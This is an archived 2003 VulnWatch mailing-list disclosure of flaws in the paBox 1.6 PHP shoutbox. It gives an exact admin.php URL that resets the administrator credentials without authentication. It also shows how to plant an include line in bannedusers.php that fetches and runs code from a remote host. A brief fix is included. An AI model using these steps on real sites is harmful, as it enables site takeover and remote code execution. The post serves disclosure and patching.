[VulnWatch] Multiple vulnerabilities in paBox

• Previous message: Crispin Cowan: "[Full-Disclosure] Re: [Security] [vendor-sec] Linux 2.4.x execve() file read race vulnerability"
• In reply to: Frog Man: "[VulnWatch] pMachine (PHP) : Include() Security Hole"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

paBox V1.6
Reset admin password and execute remote code

Informations :
°°°°°°°°°°°°°
Language : PHP
Version : 1.6
Website : http://www.phparena.net/pabox
Describe : paBox is a PHP/mySQL shoutbox script. You can add it to your site
and visitors can post new messages, it is sort of like a guestbook.

Exploit :
°°°°°°°°°°°°°°°°°°°
Visitor can reset the Administrator's username and password to anything he's
want and after that, login into the Admin Control Panel on admin.php by this
URL :
http://localhost/thebox/admin.php?act=write&username=admin&password=admin&ad
user=admin&adpass=admin

After loging into the Control Panel, visitor can write any remote code to
the file bannedusers.php (usualy blank) and use this file to execute remote
code, for example, adding <? require ($file); ?> to bannedusers.php and run
http://localhost/thebox/bannedusers.php?file=http://website.com/badcode.php
will execute like a include() hole.

Path:
°°°°°°°°°°°°°°°°°°°
Remove code when write to file bannedusers.php.

Silent Scripter

• Next message: morning_wood: "[Full-Disclosure] Megabook 2.0 -XSS & UA execution"
• Previous message: Crispin Cowan: "[Full-Disclosure] Re: [Security] [vendor-sec] Linux 2.4.x execve() file read race vulnerability"
• In reply to: Frog Man: "[VulnWatch] pMachine (PHP) : Include() Security Hole"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Sun Jun 29 2003 - 13:09:26 PDT